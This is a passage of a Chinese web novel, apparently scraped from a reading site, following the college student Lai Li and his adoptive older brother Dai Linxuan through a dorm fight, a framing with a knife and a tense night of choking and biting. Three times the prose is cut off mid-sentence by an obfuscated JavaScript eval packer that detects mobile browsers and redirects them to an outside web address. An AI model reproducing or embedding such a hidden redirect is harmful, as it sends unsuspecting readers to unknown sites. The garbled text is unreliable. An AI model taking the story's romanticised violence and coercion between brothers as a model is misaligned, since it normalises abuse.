戴林暄抬手挡开他的靠近,抽出手帕擦擦嘴角,温和道:“方便问问,汤总是听到了什么风言风语才整的今天这一出?” - 宋自楚拦了下想要买单的赖栗:“我请你吧——” 赖栗避开他的触碰:“有这种无聊的心思不如快点攒够五万还钱。” 窗口老板说:“你们一共……” 赖栗不耐打断:“我一个人。” 老板愣了下:“28。” 宋自楚:“……” 赖栗用饭卡扫了二十八,随便找了个位置坐下。不出意外,宋自楚付完钱也跟了过来:“我可以坐这边吗?” 赖栗扫了他一眼。 “真的很谢谢你,那天晚上。”能感觉到赖栗不是很欢迎自己,说完这句话,宋自楚识趣地打算换个座。 赖栗垂眸,嗦了口面。 那天在云顶他给了戴林暄一巴掌,随后又回到包厢喝了很久,凌晨才离开,碰巧看见宋自楚穿着服务生制服,被一个浓妆男人强搂着肩往包厢里带。 ——非常老套的剧情,家境不好的穷学生偷摸出来上夜班,结果被难缠的客人见色起意,想拒绝又怕丢掉工作,于是陷入了两难的境地。 最难堪的是,这一幕还被将要共处四年的大学室友目睹。 赖栗抱胸看着他们在包厢门口拉扯了足足三分钟,才绕有兴致地开口解围,并在了解详情后出乎意料地好说话,借给宋自楚五万块解决大学生活费。 虽然要还,但至少再遇到类似事情有了辞职的底气。 “坐吧。”赖栗突然松口,并问:“如果那天我没管,你打算怎么处理?” 宋自楚转身坐下,叹息道:“我可能会揍他,然后被送去派出所蹲几天吧……结果就是丢掉工作,被学校处分。” 赖栗撩起眼皮:“是吗?” 宋自楚长得确实不差,不笑的时候显得有些清冷,笑起来又会给人如沐春风的感觉,很矛盾的气质。 “真的特别谢谢你。”宋自楚不卑不亢地说,“能问问为什么帮我吗?” “你猜。” “我不知道。”宋自楚摇头。 赖栗擦了下嘴巴,似笑非笑地说:“其实上周五是我第二次在云顶看到你,第一次也是类似情况……你还挺受gay欢迎的。” 宋自楚一怔。 赖栗没诓他,第一次遇见是暑假,宋自楚也是被一个男人纠缠,赖栗瞥了一眼就和朋友走了 ,没多管闲事。 赖栗问:“我有点好奇,没有我的那一次你怎么收场的?” 宋自楚难堪道:“我没有妥协……是经理替我解了围。” 赖栗哦了声:“那看来上周没有我也不会出太大的事。” 宋自楚苦笑道:“那天经理刚好不在,如果没有你,恐怕……” “嗡——” 赖栗的手机突然响了,他按下接听,那头传来经子骁的声音:“你搁哪呢?” 赖栗说:“我今晚有事。” “不是找你玩。”经子骁说,“贺书新身边除了汤远扬以外的一圈人都被揍了,是不是你干的?” 赖栗往后一靠,不咸不淡道:“我一个学生哪里有能耐干这种事。” 经子骁说:“你蒙鬼吧!我知道你为什么找人教育他们,不过造谣你哥恋童癖那事别说是我跟你说的啊。” 赖栗懒得理他:“还有事吗?” 经子骁好奇地问:“你为什么漏掉了汤远扬?难不成是因为你哥想收购他们家公司,所以你才手下留情?士别三日当刮目相待啊赖少,竟然学会体贴你哥了……” 赖栗意味不明地笑了声,直接挂了电话。 晚上很凉,训练的时候大家都披了外套。赖栗路过垃圾桶,考虑要不要把自己这件被人碰过的外套扔掉。 不过迷彩服是学校发的,回收的时候可能会清点数量。 “赖栗?”宋自楚喊道,“教官喊集合了!” 赖栗给辅导员发了条信息,当着教官和汤远扬的面走了。 一直到晚上八点五十,军训才彻底结束,一群热汗淋漓的新生回到宿舍,也顾不上脏不脏的问题直接倒床上长舒一口气。 “累成狗了……”黄皓有气无力,偏了下头对室友说,“别说,赖栗是真的拽,晚上他招呼不打掉头就走的时候教官和学长脸都绿了。” 姜孝已经忘了第一天的不愉快:“赖栗跟汤学长应该认识,估计矛盾还不小,这俩迟早干一架。” 只有宋自楚坐在椅子上:“查寝时间快到了。” “卧槽,赖栗还没回来呢!”黄皓坐起来,“要不要提醒一下?” “你们提醒吧,我没他微信。”姜孝蒙着脸说。 “我也没有。”宋自楚皱眉。 “群里加一下?”黄皓掏出手机翻了翻,“……他不在班级群里。” 姜孝说:“那完喽,现在找人代寝也来不及了。” 宋自楚摇头:“查寝小组里就有汤学长,如果他要针对赖栗,找人代也没用。” 军训期间几乎天天查寝,不过前几天赖栗都是等查寝结束再翻窗溜,其余三人就当没看到,今天恐怕要被抓个正着了。 结果不出意料—— “赖栗呢!?” 宿舍三人对视一眼,都没吭声。 汤远扬冷笑道:“这才开学几天就不把规矩当回事了?” 他拿着本子走向阳台,提了件滴水的迷彩外套回来:“谁的?” 由于空调温度有点低,三人的外套都还在身上,只是敞开了拉链,那么有空洗衣服并且晾他们宿舍的人就只剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918407|160314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一个赖栗了。 汤远扬对同伴说:“记上。” 他继续转悠,趁赖栗不在找了不少茬,比如桌子太乱,垃圾桶里有垃圾,被褥铺得不整齐,记上一大堆后才通情达理地说:“我也不是那么不近人情,你们给他发个信息,五分钟内回来我既往不咎。” “……”你当他学校散步呢还五分钟回来。 其他人腹诽也不敢说,宋自楚前不久给辅导员发消息要了赖栗的联系方式,刚好这会儿辅导员回复了,他连忙写明原因申请添加好友。 赖栗的微信名很粗暴:滚一边吠去。 他的头像似乎是张网图,背景画面很昏暗,左边是一片镜子,倒映着一截男性腰腹,并刻有纹身—— 左胯缠绕着一条弯曲的黑蛇,乍一看好像钻进了骨头里,是朝下朝右游动的姿势。蛇的脑袋延伸到另一边胯骨吐着蛇信子,分叉的舌尖舔舐着一颗淡金色的太阳。 很性感,不像直男会用的头像。 汤远扬在门口说:“我们等会儿过来,如果赖栗还不在,那就——” 耳边传来一道讥讽的声音:“就怎么着?” 汤远扬吓得一激灵,一回头就看见了赖栗,顿时提高声音:“你他妈装神弄鬼什么?有本事走就别回来啊!” 赖栗也不生气:“别激动啊,我走正规程序请了三小时假,特地去医院看望一下书新还有你的那群好兄弟,怎么一点不领情呢?” 汤远扬一下子被激怒了:“我就知道是你干的!” 赖栗撞开他肩膀,用只有两个人的声音同情道:“我干什么了不清楚,不过你么……是不是经历过,才这么喜欢以己度人?” “什么……”汤远扬突然反应过来,脸色一僵。 “真可怜啊,你爸?还是你哪位叔叔对你做过?”赖栗勾了下嘴角,“又或者你自己就有那样的癖好?” “你他妈的——” 汤远扬本来就因为下午替训憋了一肚子气,这会儿更是忍无可忍,直接抡起拳头砸向赖栗的脸。赖栗往后宿舍里撤了一步,稍微卸去一点力,在外人和走廊监控看来这一拳就是砸在了他脸上。 赖栗抓住汤远扬的小臂把人甩向宿舍里面,一脚踹上他的腰,汤远扬摔得一个趔趄,转身就要反抗,被却赖栗抬起椅子挡住,痛得嗷嗷叫。赖栗扔下椅子,抡起一拳砸向汤远扬的肚子。 赖栗对力度的把控极为精准,能让汤远扬痛不欲生却又不至于伤重。 宿舍顿时乱成一团,查寝小组厉声劝阻无果,宿舍三人也有点懵,过道狭窄不好拉架,其他宿舍的人听到声音都陆陆续续地探出脑袋吃瓜。 汤远扬感觉自己快被打死了,迟迟不见人拉起赖栗,只能怒吼一声拼尽全力反扑,然而下一秒手里不知怎么多了一把刀,刀尖对准的方向正是赖栗脖子! 他大脑顿时一片空白,这会儿收力已经来不及了,周围数道惊叫更是预示了即将发生的惨烈结果—— 幸好,赖栗迅速往旁边一偏,堪堪擦过刀尖。 即便如此,他脖子一侧还是飙出了一道鲜红的血。 查寝小组的另一个人震惊道:“汤远扬,你他妈疯了!?” 在一众我操声中,赖栗捂着脖子站起来,勾着嘴角说:“原来学长喜欢带刀查寝啊,真叫人害怕。” 汤远扬猛得反应过来,手一抖扔掉了刀:“这不是我的刀!他陷害我!” …… “什么!?”汤薛达震惊道,“搞错了吧戴总,远扬和小栗打架?” 戴林暄心平气和地嗯了声:“我去趟学校,汤总一起吗?” 汤薛达肯定得跟上,两辆车不到二十分钟就停在了学校门口。 一直到学校医务室门口,汤薛达还在说:“没事,小孩子打打闹闹也正常——” 根据以往经验,赖栗在这种事上很少吃亏,汤薛达也清楚自己儿子的尿性,挨点打就当长个记性吧。直到他看见赖栗坐在病床上,脖子右侧贴着一块很大的无菌敷料片,顿时傻眼了。 汤薛达脸色一变再变,最后走到汤远扬面前,一巴掌呼他脸上后手都在抖:“你他妈干什么了!?” 汤远扬又害怕又委屈,也吼:“不是我干的!” 汤薛达咬牙切齿道:“闭嘴!” 和戴林暄打过交道的人都知道他有多护短,有多溺爱这个异父异母的弟弟。 如果赖栗单方面闯祸闹事,戴林暄也是讲道理的人,不仅赔钱大方,还可以放低姿态,亲自上门赔礼道歉。可如果赖栗也受伤,那就另当别论了。 汤薛达缓缓回头:“戴总……” 果不其然—— 大多数时候,戴林暄脸上都挂着淡淡的笑意,让人觉得温和舒适,很好说话。直到笑意从脸上彻底散去的时候,方才显出几分可怕来。 赖栗倒是不怵,歪头冲戴林暄笑了笑。 7. 咬伤 医务室十来个人,除去室友与辅导员,还有几个军训不舒服在医务室休息的新生,都好奇地看着戴林暄,不清楚他和赖栗什么关系。 肯定不是父子,太年轻了,哥哥么……长得也不像,气质更是截然相反。 戴林暄捏起赖栗的下巴,撕了他脖子上的绷带。 校医大惊:“你干什么!?” 赖栗拦住她:“没事。” 伤口不算严重,没到缝针的地步,可长长一道瞧起来还是有些可怖。 戴林暄看了会儿,突然用力按下去,指腹狠狠揉了两下,伤口处顿时又溢出血来。明明是夏天,他的指腹却凉得像死人。 赖栗冰得一哆嗦,眉头拧了下:“哥?” 辅导员正在跟汤薛达说:“监控显示是你家孩子先动的手,这开学才几天?大三学长不仅没做好榜样,竟然还对大一新生动手,影响非常不好。” 汤薛达深吸口气:“给你们添麻烦了,我一定让他好好反省。” 姜孝嘀咕了句:“出人命再反省可就来不及了,要不是赖栗躲得快,那一刀得扎穿他大动脉。” 汤远扬怒而扭头:“你给我闭——” 汤薛达又甩去一巴掌,打断了他的叫嚣。 戴林暄同样听见了姜孝说的,表情没有任何变化。他问校医要了一块新的无菌敷料片拍在伤口处,从头到尾没跟赖栗说一个字。 他转身叹息道:“汤总教了个好儿子。” 汤薛达压着汤远扬的脑袋:“还不快给小栗道歉!” 赖栗从病床下来,饶有兴致地靠在他哥身上,看戏似的。 汤远扬捂着脸,满满的不服气:“都说了我没带刀!是他自导自演!” 汤薛达一巴掌甩他脑袋上:“道歉!” “不是我干的我凭什么道歉!”汤远扬本来就憋了一天闷气,这会儿彻底爆发,“他赖栗了不起吗,他戴林暄牛逼到可以蔑视王法了?让你这个做爹的不分青红皂白地压着自己儿子低头道歉!?” 汤薛达脸色都白了:“你个混账!!” 汤远扬顶着巴掌印吼:“对!我混账!我没出息!我他妈至少没有上不了台面的恋童癖!” 话音落下的瞬间,汤远扬大脑一片空白,耳周嗡嗡一片,只感觉整个医务室安静得落针可闻。 他说什么了? 他刚刚……说什么了? 赖栗眼神骤沉,捏紧拳头就要上前,被旁边的戴林暄拉住胳膊。 汤薛达身体一晃,差点晕过去:“戴总,您别放心上,远扬是说他一个表哥有这癖好……我都跟他说几遍了家丑不可外扬,他还搁这到处嚷嚷,我回去就教训他!” “既然是家丑,教不教训这种事倒是不用告诉我。”戴林暄反倒是笑了笑,“不过汤总好像联想了很多啊,不然今天怎么会想送个助理给我?” 汤薛达两眼一闭,心彻底沉到水底——完蛋了。 “你想要什么样的结果?”戴林暄显然在问赖栗,却没有看他。 赖栗是在场脸色最难看的人,恨不能将汤远扬千刀万剐,甚至想就应该让那把刀扎进脖子里,把汤远扬送进去。 任由怒火百转千回,最后还是尽数咽了下去。赖栗抓住戴林暄的手腕,死死盯着汤远扬:“——希望学生会能分分类,别什么垃圾都收。” 能和解,最高兴的自然是学校和辅导员。汤远扬进学生会本来就不怎么名正言顺,开除倒也没什么。 汤薛达更没意见,被汤远扬气到手抖,最后还是自己弯下脊梁道歉:“今天让小栗遭罪了,是我教子无方,改天一定带逆子登门道歉。” 赖栗丝毫不给台阶:“别了,我一点都不想看见你儿子。” 戴林暄把胳膊从他手里抽了出来,看了眼手表显示的时间便向外走去:“不早了,汤总还是回家再教育儿子吧——家丑不可外扬么。” 走到门口,戴林暄回头看了一眼还站在原地的赖栗:“不是要我接你?” 赖栗微不可见地皱了下眉,快步跟了上来。 出门转弯的时候,戴林暄用余光扫了一眼医务室里的人,最后停在宋自楚的脸上,缓缓收回。 夜色已深,宿舍都到了门禁的点,学校路上几乎看不到人。 戴林暄和汤薛达的车就停在医务室附近的车位上,赖栗上车前扫了一眼,汤薛达车后座有个略显局促的男孩,估计也就十八岁左右。 赖栗眼底染了几分阴郁,走过去敲了敲车窗。 小舟看着面前的男生:“有、有事吗?” 如果不是早早知道赖栗的身份,他并不会觉得自己和赖栗长得像。赖栗的桀骜很容易让人忽略他漂亮到锋利的容貌,多对视一秒都会觉得被侵|犯,哪里还会细看五官。 小舟本能地避开对视,打心眼里觉得汤家父子的揣测有误,这样的赖栗怎么可能会任由戴林暄玩弄十二年?分明就是一个被惯养长大的少爷,天不怕地不怕,谁都入不了法眼。 “再被我发现你靠近我哥——”赖栗一字一顿地说,“我就把你和石头绑一起沉海喂鱼。” 小舟咽了下喉咙,不知道该怎么回答,幸而另一辆车里传来了戴林暄的呼唤:“赖栗。” “来了!”赖栗应声,对小舟勾起嘴角,“记住了吗?” “记住了……” 赖栗回到戴林暄的车上:“他就是汤薛达要给你送的助理?” 戴林暄嗯了声。 赖栗厌恶道:“我看是床伴吧。” 戴林暄说:“都可以是。” 赖栗眯了下眼睛:“如果汤远扬没拿刀刺我,你今晚是不是会带他去开房?” 但凡时间往前推半个月,赖栗都不可能这样揣测戴林暄。偏偏戴林暄喜欢男人已经是锤定的事实了,并且疑似由于憋太狠连养大的弟弟都能下手。 对于这个问题,戴林暄没有回答。 刘曾一边启动车子一边打圆场:“小栗饿不饿?林暄给你打包了一些饭菜。” 赖栗打开袋子看了眼,都是他爱吃的口味:“车里吃东西想吐。” 刘曾笑笑:“那回去再吃,还能加热一下。” 戴林暄的手机一直在响,汤薛达一连发来好几条消息,大意是收购价还可以再降降,作为今天突发事件的赔礼。 戴林暄平静敲下一行字:如果小栗单方面打伤远扬,这笔资金我私人白送江风都成,可你也看到了,汤总,那把刀再往旁边歪一点就是大动脉,这可不是赔礼道歉就能结果的事。 赖栗扫了一眼,更不爽了。在别人面前表现得那么疼他,实际却在冷暴力。 他突然问:“想收购江风的人应该不少?” 戴林暄关了手机,闭眼靠上椅背,嗯了声。 赖栗讥笑道:“那他还这么上赶着往你手里送?” 后视镜里,汤薛达的黑车与他们走向了截然相反的方向,慢慢淹没在车水马龙的夜色里。 汤薛达看着戴林暄发来的消息,喃喃道:“完了。” 小舟迟疑道:“一点回转的余地都没了吗?” 汤薛达闭上眼睛,心如死灰:“戴林暄这意思就是不打算继续了,今天饭桌上聊的全都不作数。” 小舟没再说话,看了汤远扬一眼。 汤远扬砸去一个抱枕:“你他妈看什么看!” 汤薛达往汤远扬身上甩了一掌又一掌,打得他抬不起头来:“你怎么还有脸在这骂!我们计划了半年的事就这么被你搅糊了,我们家完蛋了你知不知道!” 汤远扬捂着头:“别打了!愿意收购的又不止他戴林暄一个,贺少会帮忙的!” 贺书新还住院呢,汤远扬针对赖栗就是为了表态,顺便帮家里争取一下贺家的资金。 况且按照贺书新那个“恋童癖”的说法,赖栗已经遭到了戴林暄的厌弃,住校这个事就是证据,他连贺书新都敢打,戴林暄恐怕早就不想管他了,谁知道以后还能惹出什么麻烦来。 “贺书新?你是纯智障啊。”汤薛达咬牙切齿道,“怎么你老子我在贺家的面子还没你这个毛头小子大是吗!要是事情有这么简单,我何必用这么下三滥的招数讨好戴林暄!” 小舟:“……” 恋童癖的这个说法汤薛达一直没信,他和戴林暄打过交道,不是这种人。不过戴林暄对赖栗确实太好了,说不定真有点说不清道不明的心思,所以汤薛达才找来几分相似的小舟作为“诚意”,就算戴林暄拒绝了,也不至于生气。 来学校之前他还在想,汤远扬这顿打挨得挺及时。按照之前的路数,戴林暄说不定会为了替赖栗赔礼道歉而愿意高价收购江风,现在倒好—— “你他妈竟然敢动刀子!” “不是我的刀!”汤远扬崩溃地吼,“我怎么可能干这种蠢事!” 汤薛达恨不得打死这个不听话的儿子:“刀是不是你的重要吗!?我是不是一而再再而三地警告过你,不要招惹赖栗!不要招惹赖栗!” 汤远扬被喷了一脸唾沫星子,终于老实下来不吭声了。他后知后觉地感到恐惧,当时围观的那么多人竟然没一个看见赖栗给他塞刀的动作,就连他自己都没第一时间反应过来。 “就算公司不出事,也迟早败在你手里。”汤薛达突然泄了力,“你又玩得过谁呢,远扬。” 汤远扬一怔。 汤薛达长出一口气:“我当然知道不是你动的刀,你以为戴林暄看不出来吗?” 汤远扬震惊:“他知道他还这样?他就那么宠赖栗?宠到生意都不顾?” 汤薛达不予理会,喃喃自语:“你爷爷总说,戴林暄是诞市年轻一辈最聪慧的那一个,现在想来是对的……他可能早就知道了我们的计划,之前的约他三次他推三次,这是把我们当狗在溜呢,赖栗就是个借口。” “爸,你在说什么?”汤远扬听得一头雾水,“你们是哪们?” …… 赖栗走进公寓,疑惑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918408|160314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“为什么不回家?” 戴林暄脱下西装外套,坐沙发上闭上眼睛:“这离你学校近。” 赖栗指了指脖子:“你猜明天辅导员会不会让我军训?” 戴林暄说:“那就休息。” 这栋公寓是赖栗填完志愿后买的,离学校十几分钟的车程,两百多平,装修很精致。 赖栗拎着打包的饭菜走到厨房,找到了疑似微波炉的东西,上面的按键很多,他唯一能分清的就是开关。 正在考虑不吃了还是上网查查的时候,戴林暄走了进来,带过一阵淡淡的酒味。他拨开赖栗,从消毒柜里拿出几个盘子,装好饭菜一个个送进微波炉。 等待的空隙,赖栗靠在门口看着戴林暄,心里说不出的烦闷。 以前也不是没发生过合作商塞人给戴林暄的情况,独独今天最恶心。 不是因为那个小舟和他长得像,也不是因为小舟是男生,而是明明戴林暄不管是私德还是公德都够完美了,却还是要被那些作风下流的人以己度人,造谣,泼脏水。 虽然最近确实发生了一些赖栗不能理解的转变,但过去十二年,戴林暄这个哥哥做得确实无可指摘,好得过头。 “晚饭不是吃得很开心?”戴林暄看着微波炉里的暖光问。 “嗯……?”赖栗没反应过来,“面太绵了,没吃几口。” 戴林暄没再说话。 四菜一汤作为夜宵够丰盛了,戴林暄没怎么动筷子,给自己倒了满满一杯红酒,看着窗外出神。 赖栗夺过杯子一饮而尽:“喝了白的又喝红的,我看你是想死。” 戴林暄瞥了他一眼,也没继续倒酒:“早点休息。” 他起身去了次卧。 赖栗看着他的背影,这段时间一直积在心里的不爽登上了巅峰。回国短短半个月,先拿他当工具泄了次欲,然后对此闭口不谈,一句解释都没有,现在又跑到次卧装什么君子呢? 感情那天往自己弟弟嘴里顶的不是他戴林暄是吧!?真他妈操了。 赖栗摔下筷子,跟着去了次卧。 戴林暄衣服刚脱到一半,听到脚步声也没停。随着最后一粒扣子解开,衬衣落在床尾的长凳上,露出白皙的后背。 戴林暄姿态极好,脊梁如松,恰到好处的肌肉覆在身上,刚硬又不失柔和。 赖栗突然忘了刚刚想说什么,莫名想起被他揍进医院的贺书新之前说过的话:“你哥这么完美的腰臀比,穿西装跟往人群里一站跟撒春|药有什么区别?” 戴林暄解开腰带:“吃饱了就去睡,明早会有阿姨来收拾……” 他的声音戛然而止,垂眸看向自己的腰,那里多了一只手。 “赖栗,回你的房间。” “你要不给我一拳?”赖栗低头顶着戴林暄的肩,懒洋洋地说,“我怎么觉得你今天从见到我开始就想打我呢?” 戴林暄从来没正儿八经地揍过赖栗,一次都没有。 赖栗的呼吸洒在戴林暄肩上,低声蛊惑:“干嘛忍着?觉得我做错了就动手,又打不死——” 剩余的话被尽数掐死在了咽喉中,戴林暄托住他的下颚,连他的身体一起抡到床上,自己也跟着跪压下来。尽管动作暴力,语气却很克制:“你怎么不让刀扎脖子里!我保证把汤远扬挫骨扬灰让你开心个够。” 赖栗陷进被褥里,有些吃惊,不过很快反应过来,轻拍了下他哥的手说:“他造你谣,我不高兴,顺便让你来接我回家而已。” 戴林暄看了他很久,缓缓说:“再这么不惜命,这条命就给我吧。” 跪在身上的戴林暄神色冷静,赖栗却莫名品出了一点微妙的失控。他的伤口被戴林暄的拇指狠狠压着,白色敷料隐隐有转红的趋势。 “好啊。”赖栗抬手去勾戴林暄的肩膀,懒洋洋道,“哥,我这条命不一直是你的吗,想什么时候拿走都可以。” 戴林暄手里的力道逐渐加重,赖栗闷哼了声,呼吸有些困难,却仍然没有反抗,只专注地观察戴林暄。 昏黄的灯光打在戴林暄的侧脸上,眼神却彻底藏进了阴影里。有那么一瞬间,赖栗不知道是不是感觉错了,戴林暄在恨他。 为什么? 赖栗本来还觉得戴林暄是因为他今天的自伤行为而愤怒,现在才发现不仅于此。可光线太暗,他没读懂戴林暄的眼神。 就在赖栗几乎窒息的时候,戴林暄倏地松手。他刚缓口气,伤口处的敷料纱布又一次被揭开,戴林暄掐着他下颚往上抬,迫使他的脖子扬到最长的弧度,再俯身含住,湿润的舌尖滑过细长的伤口时,刺痛与酥麻像烈酒一样在脑子里迸开,心脏倏地一颤。 下一秒,一股撕裂般的疼痛传来——戴林暄咬住了他的脖子,狠得仿佛要撕下一片肉来! “哼……哥?” 赖栗不得不仰着头,全力抑制住给他哥后颈一手刀的冲动,虚虚拥住他哥的肩膀低吼:“戴林暄你他妈属狗啊!?” 8. 躲他 赖栗因剧痛发出声声短促的喘|息,扣着戴林暄肩膀的手臂也越来越用力。 他并不想自己的尸体照片和戴林暄的名字一起登上明天的新闻头条,找机会抬腿一顶,同时扣住戴林暄的肩背一个翻身,双方位置瞬间调转。 赖栗跪压戴林暄的腿上,擒住他的手腕别在头顶。 “哥……我可以为你去死。”赖栗剧烈起伏的胸膛逐渐平稳,眼尾还留有一点因疼痛烧起的红晕,“但不能死在你手里。” 戴林暄反扣住赖栗的手腕,正要用力,指尖突然触到一圈凸起的东西——赖栗戴了一枚戒指。 戴林暄突然平和下来,半阖起眼睛:“两年了。” 赖栗摩挲着他的手腕:“累吗?” “什么……”戴林暄顿了下,眉眼间多了几丝浅淡的温柔,还有淡淡的颓意,“不敢不累。” 赖栗第一次在戴林暄身上感受到了意志消沉,他皱起眉头:“有必要这么拼吗?国外的那些破事能稳固你的继承权还是怎么样?” 戴林暄垂下眼皮,掩去了一闪而过的复杂。 赖栗的目光好似带着力度,从戴林暄光洁的额头开始,一寸一寸地往下审视:“你瘦了很多,也变了很多。” “是吗?”戴林暄抬眼看他,“你变化也不少。” “我有变化?” “都觉得自己没变化,那变的是什么?”戴林暄动了下手腕,“松开。” “不松。”赖栗轻啧,“你再咬我怎么办?” 戴林暄说了句近乎无赖的话:“我养大的人,咬一下怎么了?” “……哥。”赖栗俯身嗅了嗅戴林暄的颈窝,“你今晚是喝了多少酒啊。” 有点痒,戴林暄偏了下头,微垂眼眸看着赖栗的发顶,指尖下意识动了动。 他浅淡地笑了下:“闻出来了吗?” 赖栗拉远距离,答非所问:“你回国快半个月了,我们都没空好好聊聊。” 戴林暄问:“聊什么?” 赖栗说:“聊你这两年在国外都忙了些什么,交了些什么朋友——” 才导致突然喜欢男人。 “你是大哥我是大哥?”戴林暄好笑道,“这些不应该我问你吗?” “我还需要问?李觉没全报告给你吗?” 赖栗一直清楚戴林暄有派人跟着自己,从很早以前,他第一次被绑架开始。 谁都知道戴林暄疼这个异父异母的弟弟,那些想走捷径一夜暴富的匪徒自然也知道。即便戴林暄已经保护得足够好,赖栗还是有过两次被绑架的经历。 戴林暄说:“从别人嘴里听到和自己亲眼看见总归不一样。” “是你非要出国的。”赖栗声音骤冷,拇指压得戴林暄手腕有些发青,“我求过你带着我一起,可你不同意。” 十二年里,赖栗被戴林暄拒绝过的要求屈指可数,这事算一件。 戴林暄定定地看了他一会儿,有些啼笑皆非:“你觉得我为什么要出国?” 赖栗一怔,后知后觉地意识到什么:“……因为我?” 戴林暄别开赖栗的腿,慢条斯理地挣开束缚,又扯过一旁的被子蒙赖栗脸上。他穿上浴袍,揉了揉泛红的手腕说:“力气倒是和年龄成正比。” “你出国两年是因为不想见我?”赖栗抱着被子坐起来,死死地盯着戴林暄,“为什么?” 戴林暄回首看来一眼,青褐色的瞳孔里仿佛堆积了千万种情绪,于昏黄的灯光下忽隐忽现。 赖栗看不清楚,啪得一下打开大灯。再看过去时,戴林暄已经恢复了体面:“不早了,先去洗个澡,廖医生半小时到。” 赖栗不肯退让,步步紧逼:“你说清楚,为什么躲我?” “多大人了?还要像小时候一样没完没了问十万个为什么?”戴林暄掀了下唇,“不会还要我帮你洗澡吧?” 赖栗脸上笑意全无,只是看着他。 戴林暄说:“我倒是不介意……” 砰得一声,赖栗甩上了房门。 “个子长了,脾气也越来越大。”戴林暄脸上的笑意渐渐散去,发出一声微不可闻的呢喃,“小混账。” 赖栗洗完澡出来的时候,廖医生已经到了。 戴林暄坐在吧台旁边,又给自己倒了杯红酒。有外人在,倒是没有倒满一杯,约莫三分之一的样子,已经喝了一半。 戴林暄先发制人:“喝一点好睡觉。” 赖栗坐到沙发上,一语不发。 戴林暄笑了笑,对等候的廖医生说:“给他脖子处理一下。” 赖栗穿了件大领口睡衣,脖子上的痕迹一览无余。汤远扬造成的刀伤有些泛白,皮肉微微外翻,两侧是发青发乌的咬痕,血点几乎渗出了皮肤,乍一看狰狞可怖。 廖德是戴林暄高中同学,之前在三甲医院干过几年,后来实在受不了工作氛围就做了戴林暄的私人医生,跟赖栗还算熟。 他也不见外,拨过赖栗的脑袋啧了好几声。 一看就是人咬出来的痕迹。 廖德完全没怀疑戴林暄,自顾自地得出结论:“你谈恋爱了?” 赖栗皮笑肉不笑地吐出两个字:“你猜。” 廖德哼笑了声:“肯定谈恋爱了啊,不然这会儿早就把对方挫骨扬灰了还能搁这生闷气呢。” 赖栗冷冷地撩起眼皮:“你哪只眼睛看见我生闷气?” 廖德说:“心灵之眼。” 赖栗厌烦道:“三只眼一起挖了吧。” 廖德忍着笑,一边给伤口清创一边八卦:“哪个女儿家这么狠?你做了什么对不起人家的事啊?给人戴绿帽子了?还是互殴啊?” 赖栗想拿针线给他嘴巴缝上,余光却瞥见戴林暄抿了口酒,垂眸笑得温柔。 “……”赖栗面无表情地说,“你知不知道什么叫尊重患者隐私?” 廖德恐吓道:“伤患还想有隐私呢?你最好祈祷对方是个干净的人,被人咬伤可比被狗咬伤可怕。” 如果是别人咬的,赖栗这会儿肯定要接一句“有的人确实连狗都不如”,偏偏咬他的人是戴林暄,怎么都骂不出口。 “这闺女牙口倒是挺好,整齐。”廖德絮絮叨叨地说,“你刚洗澡是不是碰水了?后面几天注意点,不要剧烈运动,汗出多了容易发炎。” 赖栗懒得搭理,把腿架在茶几上,手臂懒洋洋地搭在一边。趁廖德处理伤口的契机,他闭上眼睛,逐字分析戴林暄今晚说过的每一句话,最后万分不爽地得出结论—— 戴林暄可能真是为了躲他才去的海外。 没有这个结论之前,一切都显得寻常,可只要从这个结论倒推,就能找出不少蛛丝马迹。 比如明明这两年戴林暄也有待在国内的时候,却宁愿住酒店都不愿意回家,而且两只手能数过来的见面次数里,他们好像从来没独处过。 当时只觉得外人没眼色,现在想来可能是戴林暄特意为之,避开了他们能独处的所有可能。 为什么? 像戴翊说的因为想上他?不想伤害,所以远离? 太矫情了,有点扯淡。远离了两年的结果就是回来第二天早上把鸟怼他嘴里? 戴林暄慢慢喝着红酒,目光一直落在赖栗搭在沙发侧边的手上。那圈镶着黑钻的戒指在光下熠熠生辉,引人夺目。 “搞定!大晚上让我跑这么一趟,回去还得半个多小时——”廖德给赖栗贴了块无菌敷料片,偏头看向水吧台,“戴总,我能留宿吗?” 戴林暄目光上移,冲赖栗扬扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918409|160314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下巴,笑笑:“问他,我也是客人。” 廖德看向赖栗。 赖栗拒绝得毫不犹豫:“不能。” 廖德就知道是这个回答,赖栗还没开口他就打算走了,多余问。 “真冷酷啊。”他扔下一盒无菌敷贴,哼了声,“既然谈恋爱了,可不能这么对人家,不然迟早抛弃你。” “麻溜滚。” 